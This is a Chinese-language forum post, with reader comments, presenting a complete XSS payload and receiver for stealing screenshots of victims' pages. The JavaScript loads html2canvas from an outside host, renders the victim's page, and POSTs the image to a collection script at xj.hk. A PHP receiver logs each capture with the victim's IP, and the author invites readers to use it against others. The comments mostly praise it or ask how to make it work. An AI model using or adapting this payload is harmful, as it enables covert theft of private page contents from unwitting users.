利用XSS截取屏幕截图
文章来源：y35u
2个月前，长短短（Sogili）在群里发了一个html2canvas.js 并给了一个POC
我写了一个完整的js来获得对方的屏幕截图
看代码
document.write("<script src=\"http:\/\/xj.hk\/html2canvas.js\"><\/script>"); <br>//调用截屏核心功能js,下载地址:http://xj.hk/html2canvas.js
window.onload=function(){
html2canvas(document.body, {
onrendered: function(canvas) {
//下面开始把抓取到的屏幕图片代码传输和接收，由于代码非常的长，只能使用post
xhr=function(){
var request = false;
if(window.XMLHttpRequest){
request = new XMLHttpRequest();
}else if (window.ActiveXObject){
try{
request = new window.ActiveXObject('Microsoft.XMLHTTP');
}catch(e){
}
}
return request;
}();
request = function(method,src,argv,content_type){
xhr.open(method,src,false);
if(method=='POST')xhr.setRequestHeader('Content-type',content_type);
xhr.send(argv); //发送POST数据
return xhr.responseText;
};
attack_a = function(){
var src = "http://xj.hk/jp.php"; //post接收地址
var argv_0 = "'&screenshot="+canvas.toDataURL(); //post字段名称为screenshot
request("POST",src,argv_0,"application/x-www-form-urlencoded");
};
attack_a();
}
});
}当然，你也可以直接把这个保存为1.js，去x别人
下面就说接收端了，很简单，上面的js，把数据发送给了
http://xj.hk/jp.php我们就做一个jp.php
代码如下
<?php
$screenshot=$_POST['screenshot'];
$fp=fopen("xss.txt", "at");
fputs($fp, "TIME: ".date("Y/m/d H:i:s")." IP: ".$_SERVER['REMOTE_ADDR']." image : ".$screenshot." \n");
fclose($fp);
?>看到了 很长很长的一段data
我们把这个data复制，并放入火狐的url中去访问，就能看到被x的人的屏幕截图咯
关于作者
评论150次
弱弱的问一句 “我们把这个data复制，并放入火狐的url中去访问，就能看到被x的人的屏幕截图” 这个我试了下火狐打不开，求破
感谢分享 感觉高端--
看起来 学会编程很重要。
还有这个。。不错。
真心牛B 学xi了
求测试成功的，出教程。
这个真心强大啊。
太凶残了 。。。
好神奇哦。。
有人测试成功嘛,昨天试了好多次都没能成功 xsstw的
很yindang哇
好神奇的东西，不知道网页最小化后是否还能继续截取屏幕呢。。
霸气啊！！！！
xss还能这么用。。。
这样也可以啊。。
XXS 太牛了 必须好好学学才行
xss没好好学 真后悔
耶稣牛！说好的我的东西呢~~~
个人说明亮了